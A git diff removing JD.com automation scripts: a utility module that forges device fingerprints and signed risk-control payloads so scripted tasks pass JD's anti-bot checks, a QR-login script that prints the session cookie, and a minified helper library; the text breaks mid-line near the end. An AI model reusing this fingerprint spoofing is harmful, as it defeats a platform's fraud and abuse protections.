/[a-zA-Z]/.test(r); - e.hasOwnProperty(n) && (t += i ? this.getLastAscii(r) : r) - } - return t - }, - add0: function (e, t) { - return (Array(t).join("0") + e).slice(-t) - }, - minusByByte: function (e, t) { - var n = e.length, - r = t.length, - i = Math.max(n, r), - o = this.toAscii(e), - a = this.toAscii(t), - s = "", - u = 0; - for (n !== r && (o = this.add0(o, i), a = this.add0(a, i)); u < i;) s += Math.abs(o[u] - a[u]), u++; - return s - }, - Crc32: function (str) { - var table = "00000000 77073096 EE0E612C 990951BA 076DC419 706AF48F E963A535 9E6495A3 0EDB8832 79DCB8A4 E0D5E91E 97D2D988 09B64C2B 7EB17CBD E7B82D07 90BF1D91 1DB71064 6AB020F2 F3B97148 84BE41DE 1ADAD47D 6DDDE4EB F4D4B551 83D385C7 136C9856 646BA8C0 FD62F97A 8A65C9EC 14015C4F 63066CD9 FA0F3D63 8D080DF5 3B6E20C8 4C69105E D56041E4 A2677172 3C03E4D1 4B04D447 D20D85FD A50AB56B 35B5A8FA 42B2986C DBBBC9D6 ACBCF940 32D86CE3 45DF5C75 DCD60DCF ABD13D59 26D930AC 51DE003A C8D75180 BFD06116 21B4F4B5 56B3C423 CFBA9599 B8BDA50F 2802B89E 5F058808 C60CD9B2 B10BE924 2F6F7C87 58684C11 C1611DAB B6662D3D 76DC4190 01DB7106 98D220BC EFD5102A 71B18589 06B6B51F 9FBFE4A5 E8B8D433 7807C9A2 0F00F934 9609A88E E10E9818 7F6A0DBB 086D3D2D 91646C97 E6635C01 6B6B51F4 1C6C6162 856530D8 F262004E 6C0695ED 1B01A57B 8208F4C1 F50FC457 65B0D9C6 12B7E950 8BBEB8EA FCB9887C 62DD1DDF 15DA2D49 8CD37CF3 FBD44C65 4DB26158 3AB551CE A3BC0074 D4BB30E2 4ADFA541 3DD895D7 A4D1C46D D3D6F4FB 4369E96A 346ED9FC AD678846 DA60B8D0 44042D73 33031DE5 AA0A4C5F DD0D7CC9 5005713C 270241AA BE0B1010 C90C2086 5768B525 206F85B3 B966D409 CE61E49F 5EDEF90E 29D9C998 B0D09822 C7D7A8B4 59B33D17 2EB40D81 B7BD5C3B C0BA6CAD EDB88320 9ABFB3B6 03B6E20C 74B1D29A EAD54739 9DD277AF 04DB2615 73DC1683 E3630B12 94643B84 0D6D6A3E 7A6A5AA8 E40ECF0B 9309FF9D 0A00AE27 7D079EB1 F00F9344 8708A3D2 1E01F268 6906C2FE F762575D 806567CB 196C3671 6E6B06E7 FED41B76 89D32BE0 10DA7A5A 67DD4ACC F9B9DF6F 8EBEEFF9 17B7BE43 60B08ED5 D6D6A3E8 A1D1937E 38D8C2C4 4FDFF252 D1BB67F1 A6BC5767 3FB506DD 48B2364B D80D2BDA AF0A1B4C 36034AF6 41047A60 DF60EFC3 A867DF55 316E8EEF 4669BE79 CB61B38C BC66831A 256FD2A0 5268E236 CC0C7795 BB0B4703 220216B9 5505262F C5BA3BBE B2BD0B28 2BB45A92 5CB36A04 C2D7FFA7 B5D0CF31 2CD99E8B 5BDEAE1D 9B64C2B0 EC63F226 756AA39C 026D930A 9C0906A9 EB0E363F 72076785 05005713 95BF4A82 E2B87A14 7BB12BAE 0CB61B38 92D28E9B E5D5BE0D 7CDCEFB7 0BDBDF21 86D3D2D4 F1D4E242 68DDB3F8 1FDA836E 81BE16CD F6B9265B 6FB077E1 18B74777 88085AE6 FF0F6A70 66063BCA 11010B5C 8F659EFF F862AE69 616BFFD3 166CCF45 A00AE278 D70DD2EE 4E048354 3903B3C2 A7672661 D06016F7 4969474D 3E6E77DB AED16A4A D9D65ADC 40DF0B66 37D83BF0 A9BCAE53 DEBB9EC5 47B2CF7F 30B5FFE9 BDBDF21C CABAC28A 53B39330 24B4A3A6 BAD03605 CDD70693 54DE5729 23D967BF B3667A2E C4614AB8 5D681B02 2A6F2B94 B40BBE37 C30C8EA1 5A05DF1B 2D02EF8D"; - crc = 0 ^ (-1); - var n = 0; //a number between 0 and 255 - var x = 0; //an hex number - - for (var i = 0, iTop = str.length; i < iTop; i++) { - n = (crc ^ str.charCodeAt(i)) & 0xFF; - x = "0x" + table.substr(n * 9, 8); - crc = (crc >>> 8) ^ x; - } - return (crc ^ (-1)) >>> 0; - }, - getCrcCode: function (e) { - var t = "0000000", - n = ""; - try { - n = this.Crc32(e).toString(36), t = this.addZeroToSeven(n) - } catch (e) {} - return t - }, - addZeroToSeven: function (e) { - return e && e.length >= 7 ? e : ("0000000" + String(e)).substr(-7) - }, - getInRange: function (e, t, n) { - var r = []; - return e.map(function (e, i) { - e >= t && e <= n && r.push(e) - }), r - }, - RecursiveSorting: function () { - var e = this, - t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}, - n = {}, - r = t; - if ("[object Object]" == Object.prototype.toString.call(r)) { - var i = Object.keys(r).sort(function (e, t) { - return e < t ? -1 : e > t ? 1 : 0 - }); - i.forEach(function (t) { - var i = r[t]; - if ("[object Object]" === Object.prototype.toString.call(i)) { - var o = e.RecursiveSorting(i); - n[t] = o - } else if ("[object Array]" === Object.prototype.toString.call(i)) { - for (var a = [], s = 0; s < i.length; s++) { - var u = i[s]; - if ("[object Object]" === Object.prototype.toString.call(u)) { - var c = e.RecursiveSorting(u); - a[s] = c - } else a[s] = u - } - n[t] = a - } else n[t] = i - }) - } else n = t; - return n - }, - objToString2: function () { - var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}, - t = ""; - return Object.keys(e).forEach(function (n) { - var r = e[n]; - null != r && (t += r instanceof Object || r instanceof Array ? "".concat("" === t ? "" : "&").concat(n, "=").concat(JSON.stringify(r)) : "".concat("" === t ? "" : "&").concat(n, "=").concat(r)) - }), t - }, - getKey: function (e, t, n) { - let r = this; - return { - 1: function () { - var e = r.getNumberInString(t), - i = r.getSpecialPosition(n); - return Math.abs(e - i) - }, - 2: function () { - var e = r.getSpecialPosition(t, !1), - i = r.getSpecialPosition(n); - return r.minusByByte(e, i) - }, - 3: function () { - var e = t.slice(0, 5), - i = String(n).slice(-5); - return r.minusByByte(e, i) - }, - 4: function () { - return r.encrypt1(t, n) - }, - 5: function () { - return r.encrypt2(t, n) - }, - 6: function () { - return r.encrypt3(t, n) - } - } [e]() - }, - decipherJoyToken: function (e, t) { - let m = this; - var n = { - jjt: "a", - expire: m.getCurrentTime(), - outtime: 3, - time_correction: !1 - }; - var r = "", - i = e.indexOf(t) + t.length, - o = e.length; - if ((r = (r = e.slice(i, o).split(".")).map(function (e) { - return m.atobPolyfill(e) - }))[1] && r[0] && r[2]) { - var a = r[0].slice(2, 7), - s = r[0].slice(7, 9), - u = m.xorEncrypt(r[1] || "", a).split("~"); - n.outtime = u[3] - 0, n.encrypt_id = u[2], n.jjt = "t"; - var c = u[0] - 0 || 0; - c && "number" == typeof c && (n.time_correction = !0, n.expire = c); - var l = c - m.getCurrentTime() || 0; - return n.q = l, n.cf_v = s, n - } - return n - }, - sha1: function (s) { - var data = new Uint8Array(this.encodeUTF8(s)) - var i, j, t; - var l = ((data.length + 8) >>> 6 << 4) + 16, - s = new Uint8Array(l << 2); - s.set(new Uint8Array(data.buffer)), s = new Uint32Array(s.buffer); - for (t = new DataView(s.buffer), i = 0; i < l; i++) s[i] = t.getUint32(i << 2); - s[data.length >> 2] |= 0x80 << (24 - (data.length & 3) * 8); - s[l - 1] = data.length << 3; - var w = [], - f = [ - function () { - return m[1] & m[2] | ~m[1] & m[3]; - }, - function () { - return m[1] ^ m[2] ^ m[3]; - }, - function () { - return m[1] & m[2] | m[1] & m[3] | m[2] & m[3]; - }, - function () { - return m[1] ^ m[2] ^ m[3]; - } - ], - rol = function (n, c) { - return n << c | n >>> (32 - c); - }, - k = [1518500249, 1859775393, -1894007588, -899497514], - m = [1732584193, -271733879, null, null, -1009589776]; - m[2] = ~m[0], m[3] = ~m[1]; - for (var i = 0; i < s.length; i += 16) { - var o = m.slice(0); - for (j = 0; j < 80; j++) - w[j] = j < 16 ? s[i + j] : rol(w[j - 3] ^ w[j - 8] ^ w[j - 14] ^ w[j - 16], 1), - t = rol(m[0], 5) + f[j / 20 | 0]() + m[4] + w[j] + k[j / 20 | 0] | 0, - m[1] = rol(m[1], 30), m.pop(), m.unshift(t); - for (j = 0; j < 5; j++) m[j] = m[j] + o[j] | 0; - }; - t = new DataView(new Uint32Array(m).buffer); - for (var i = 0; i < 5; i++) m[i] = t.getUint32(i << 2); - - var hex = Array.prototype.map.call(new Uint8Array(new Uint32Array(m).buffer), function (e) { - return (e < 16 ? "0" : "") + e.toString(16); - }).join(""); - return hex.toString().toUpperCase(); - }, - encodeUTF8: function (s) { - var i, r = [], - c, x; - for (i = 0; i < s.length; i++) - if ((c = s.charCodeAt(i)) < 0x80) r.push(c); - else if (c < 0x800) r.push(0xC0 + (c >> 6 & 0x1F), 0x80 + (c & 0x3F)); - else { - if ((x = c ^ 0xD800) >> 10 == 0) //对四字节UTF-16转换为Unicode - c = (x << 10) + (s.charCodeAt(++i) ^ 0xDC00) + 0x10000, - r.push(0xF0 + (c >> 18 & 0x7), 0x80 + (c >> 12 & 0x3F)); - else r.push(0xE0 + (c >> 12 & 0xF)); - r.push(0x80 + (c >> 6 & 0x3F), 0x80 + (c & 0x3F)); - }; - return r; - }, - gettoken: function (UA) { - const https = require('https'); - var body = `content={"appname":"50082","whwswswws":"","jdkey":"","body":{"platform":"1"}}`; - return new Promise((resolve, reject) => { - let options = { - hostname: "bh.m.jd.com", - port: 443, - path: "/gettoken", - method: "POST", - rejectUnauthorized: false, - headers: { - "Content-Type": "text/plain;charset=UTF-8", - "Host": "bh.m.jd.com", - "Origin": "https://h5.m.jd.com", - "X-Requested-With": "com.jingdong.app.mall", - "Referer": "https://h5.m.jd.com/babelDiy/Zeus/41Lkp7DumXYCFmPYtU3LTcnTTXTX/index.html", - "User-Agent": UA, - } - } - const req = https.request(options, (res) => { - res.setEncoding('utf-8'); - let rawData = ''; - res.on('error', reject); - res.on('data', chunk => rawData += chunk); - res.on('end', () => resolve(rawData)); - }); - req.write(body); - req.on('error', reject); - req.end(); - }); - }, - get_blog: function (pin) { - let encrypefun = { - "z": function (p1, p2) { - var str = ""; - for (var vi = 0; vi < p1.length; vi++) { - str += (p1.charCodeAt(vi) ^ p2.charCodeAt(vi % p2.length)).toString("16"); - } - return str; - }, - "y": function (p1, p2) { - var str = ""; - for (var vi = 0; vi < p1.length; vi++) { - str += (p1.charCodeAt(vi) & p2.charCodeAt(vi % p2.length)).toString("16"); - } - return str; - }, - "x": function (p1, p2) { - p1 = p1.substring(1) + p1.substring(0, 1); - p2 = p2.substring((p2.length - 1)) + p2.substring(0, (p2.length - 1)); - var str = ""; - for (var vi = 0; vi < p1.length; vi++) { - str += (p1.charCodeAt(vi) ^ p2.charCodeAt(vi % p2.length)).toString("16"); - } - return str; - }, - "jiami": function (po, p1) { - var str = ""; - for (vi = 0; vi < po.length; vi++) { - str += String.fromCharCode(po.charCodeAt(vi) ^ p1.charCodeAt(vi % p1.length)); - } - return new Buffer.from(str).toString('base64'); - } - } - const ids = ["x", "y", "z"]; - var encrypeid = ids[Math.floor(Math.random() * 1e8) % ids.length]; - var timestamp = this.getCurrentTime(); - var nonce_str = this.getRandomWord(10); - var isDefaultKey = "B"; - refer = "com.miui.home"; - encrypeid = "x"; - var json = { - r: refer, - a: "", - c: "a", - v: "2.5.8", - t: timestamp.toString().substring(timestamp.toString().length - 4) - } - var token = md5(pin); - var key = encrypefun[encrypeid](timestamp.toString(), nonce_str); - //console.log(key); - var cipher = encrypefun["jiami"](JSON.stringify(json), key); - return `${timestamp}~1${nonce_str+token}~${encrypeid}~~~${isDefaultKey}~${cipher}~${this.getCrcCode(cipher)}`; - }, - get_risk_result: async function ($) { - var appid = "50082"; - var TouchSession = this.getTouchSession(); - if (!$.joyytoken || $.joyytoken_count > 18) { - $.joyytoken = JSON.parse(await this.gettoken($.UA))["joyytoken"]; - $.joyytoken_count = 0; - } - $.joyytoken_count++; - let riskData; - switch ($.action) { - case 'startTask': - riskData = { - taskId: $.id - }; - break; - case 'chargeScores': - riskData = { - bubleId: $.id - }; - break; - case 'sign': - riskData = {}; - default: - break; - } - - var random = Math.floor(1e+6 * Math.random()).toString().padEnd(6, '8'); - var senddata = this.objToString2(this.RecursiveSorting({ - pin: $.UserName, - random, - ...riskData - })); - var time = this.getCurrentTime(); - var encrypt_id = this.decipherJoyToken(appid + $.joyytoken, appid)["encrypt_id"].split(","); - var nonce_str = this.getRandomWord(10); - var key = this.getKey(encrypt_id[2], nonce_str, time.toString()); - - var str1 = `${senddata}&token=${$.joyytoken}&time=${time}&nonce_str=${nonce_str}&key=${key}&is_trust=1`; - str1 = this.sha1(str1); - var outstr = [time, "1" + nonce_str + $.joyytoken, encrypt_id[2] + "," + encrypt_id[3]]; - outstr.push(str1); - outstr.push(this.getCrcCode(str1)); - outstr.push("C"); - var data = {} - data = { - tm: [], - tnm: [ 'd5-9L,JU,8DB,a,t', 'd7-9L,JU,8HF,a,t', 'd1-9M,JV,8JH,u,t' ], - grn: $.joyytoken_count, - ss: TouchSession, - wed: 'ttttt', - wea: 'ffttttua', - pdn: [ 7, (Math.floor(Math.random() * 1e8) % 180) + 1, 6, 11, 1, 5 ], - jj: 1, - cs: hexMD5("Object.P.=&HTMLDocument.Ut.=https://storage.360buyimg.com/babel/00750963/1942873/production/dev/main.e5d1c436.js"), - np: 'iPhone', - t: time, - jk: `${$.UUID}`, - fpb: '', - nv: 'Apple Computer, Inc.', - nav: '167741', - scr: [ 896, 414 ], - ro: [ - 'iPhone12,1', - 'iOS', - '14.3', - '10.0.10', - '167741', - `${$.UUID}`, - 'a' - ], - ioa: 'fffffftt', - aj: 'u', - ci: 'w3.1.0', - cf_v: '01', - bd: senddata, - mj: [1, 0, 0], - blog: "a", - msg: '' - } - data = new Buffer.from(this.xorEncrypt(JSON.stringify(data), key)).toString('base64'); - outstr.push(data); - outstr.push(this.getCrcCode(data)); - return { - extraData: { - log: outstr.join("~"), - sceneid: "DDhomePageh5" - }, - ...riskData, - random, - }; - } -}; -module.exports = { - utils -} diff --git a/backUp/getJDCookie.js b/backUp/getJDCookie.js deleted file mode 100644 index 958e02c..0000000 --- a/backUp/getJDCookie.js +++ /dev/null @@ -1,227 +0,0 @@ -/** - * 扫码获取京东cookie,此方式得到的cookie有效期为30天 - * Modify from FanchangWang https://github.com/FanchangWang - */ -const $ = new Env('扫码获取京东cookie'); -// const JD_UA = require('./USER_AGENTS').USER_AGENT; -const JD_UA = `jdapp;iPhone;10.1.2;14.7.1;${randomString(40)};network/wifi;model/iPhone10,2;addressid/4091160336;appBuild/167802;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_7_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`; -// console.info('JD_UA', JD_UA) -const qrcode = require('qrcode-terminal'); -let s_token, cookies, guid, lsid, lstoken, okl_token, token -!(async () => { - try { - await loginEntrance(); - await generateQrcode(); - await getCookie(); - } catch (e) { - $.logErr(e) - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - // $.done(); - }) - - -function loginEntrance() { - return new Promise((resolve) => { - $.get(taskUrl(), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`); - } else { - $.headers = resp.headers; - $.data = JSON.parse(data); - await formatSetCookies($.headers, $.data); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function generateQrcode() { - return new Promise((resolve) => { - $.post(taskPostUrl(), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`); - } else { - $.stepsHeaders = resp.headers; - data = JSON.parse(data); - token = data['token']; - // $.log('token', token) - - const setCookie = resp.headers['set-cookie'][0]; - okl_token = setCookie.substring(setCookie.indexOf("=") + 1, setCookie.indexOf(";")) - const url = 'https://plogin.m.jd.com/cgi-bin/m/tmauth?appid=300&client_type=m&token=' + token; - qrcode.generate(url, {small: true}); // 输出二维码 - console.log("请打开 京东APP 扫码登录(二维码有效期为3分钟)"); - console.error(`注:如上图二维码扫描不到,请使用工具(例如在线二维码工具:https://cli.im)手动生成下面链接的二维码\n\n${url}\n\n`); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function checkLogin() { - return new Promise((resolve) => { - const options = { - url: `https://plogin.m.jd.com/cgi-bin/m/tmauthchecktoken?&token=${token}&ou_state=0&okl_token=${okl_token}`, - body: `lang=chs&appid=300&source=wq_passport&returnurl=https://wqlogin2.jd.com/passport/LoginRedirect?state=${Date.now()}&returnurl=//home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action`, - timeout: 10 * 1000, - headers: { - 'Referer': `https://plogin.m.jd.com/login/login?appid=300&returnurl=https://wqlogin2.jd.com/passport/LoginRedirect?state=${Date.now()}&returnurl=//home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action&source=wq_passport`, - 'Cookie': cookies, - 'Connection': 'Keep-Alive', - 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', - 'Accept': 'application/json, text/plain, */*', - 'User-Agent': JD_UA, - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`); - } else { - data = JSON.parse(data); - $.checkLoginHeaders = resp.headers; - // $.log(`errcode:${data['errcode']}`) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function getCookie() { - $.timer = setInterval(async () => { - try { - const checkRes = await checkLogin(); - if (checkRes['errcode'] === 0) { - //扫描登录成功 - $.log(`扫描登录成功\n`) - clearInterval($.timer); - await formatCookie($.checkLoginHeaders); - $.done(); - } else if (checkRes['errcode'] === 21) { - $.log(`二维码已失效,请重新获取二维码重新扫描\n`); - clearInterval($.timer); - $.done(); - } else if (checkRes['errcode'] === 176) { - //未扫描登录 - } else { - $.log(`扫描登录失败:其他未知状态异常:${JSON.stringify(checkRes)}\n`); - clearInterval($.timer); - $.done(); - } - } catch (e) { - $.logErr(e) - } - }, 1000) -} - -function formatCookie(headers) { - new Promise(resolve => { - let pt_key = headers['set-cookie'][1] - pt_key = pt_key.substring(pt_key.indexOf("=") + 1, pt_key.indexOf(";")) - let pt_pin = headers['set-cookie'][2] - pt_pin = pt_pin.substring(pt_pin.indexOf("=") + 1, pt_pin.indexOf(";")) - const cookie1 = "pt_key=" + pt_key + ";pt_pin=" + pt_pin + ";"; - - $.UserName = decodeURIComponent(cookie1.match(/pt_pin=([^; ]+)(?=;?)/) && cookie1.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.log(`京东用户:${$.UserName} Cookie获取成功,cookie如下:`); - $.log(`\n${cookie1}\n`); - resolve() - }) -} - -function formatSetCookies(headers, body) { - new Promise(resolve => { - s_token = body['s_token'] - guid = headers['set-cookie'][0] - guid = guid.substring(guid.indexOf("=") + 1, guid.indexOf(";")) - lsid = headers['set-cookie'][2] - lsid = lsid.substring(lsid.indexOf("=") + 1, lsid.indexOf(";")) - lstoken = headers['set-cookie'][3] - lstoken = lstoken.substring(lstoken.indexOf("=") + 1, lstoken.indexOf(";")) - cookies = "guid=" + guid + "; lang=chs; lsid=" + lsid + "; lstoken=" + lstoken + "; " - resolve() - }) -} - -function taskUrl() { - return { - url: `https://plogin.m.jd.com/cgi-bin/mm/new_login_entrance?lang=chs&appid=300&returnurl=https://wq.jd.com/passport/LoginRedirect?state=${Date.now()}&returnurl=https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action&source=wq_passport`, - timeout: 10 * 1000, - headers: { - 'Connection': 'Keep-Alive', - 'Content-Type': 'application/x-www-form-urlencoded', - 'Accept': 'application/json, text/plain, */*', - 'Accept-Language': 'zh-cn', - 'Referer': `https://plogin.m.jd.com/login/login?appid=300&returnurl=https://wq.jd.com/passport/LoginRedirect?state=${Date.now()}&returnurl=https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action&source=wq_passport`, - 'User-Agent': JD_UA, - 'Host': 'plogin.m.jd.com' - } - } -} - -function taskPostUrl() { - return { - url: `https://plogin.m.jd.com/cgi-bin/m/tmauthreflogurl?s_token=${s_token}&v=${Date.now()}&remember=true`, - body: `lang=chs&appid=300&source=wq_passport&returnurl=https://wqlogin2.jd.com/passport/LoginRedirect?state=${Date.now()}&returnurl=//home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action`, - timeout: 10 * 1000, - headers: { - 'Connection': 'Keep-Alive', - 'Content-Type': 'application/x-www-form-urlencoded', - 'Accept': 'application/json, text/plain, */*', - 'Accept-Language': 'zh-cn', - 'Referer': `https://plogin.m.jd.com/login/login?appid=300&returnurl=https://wq.jd.com/passport/LoginRedirect?state=${Date.now()}&returnurl=https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action&source=wq_passport`, - 'User-Agent': JD_UA, - 'Host': 'plogin.m.jd.com' - } - } -} -function randomWord(randomFlag, min, max){ - var str = "", - range = min, - arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']; - // 随机产生 - if(randomFlag){ - range = Math.round(Math.random() * (max-min)) + min; - } - for(var i=0; i-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new 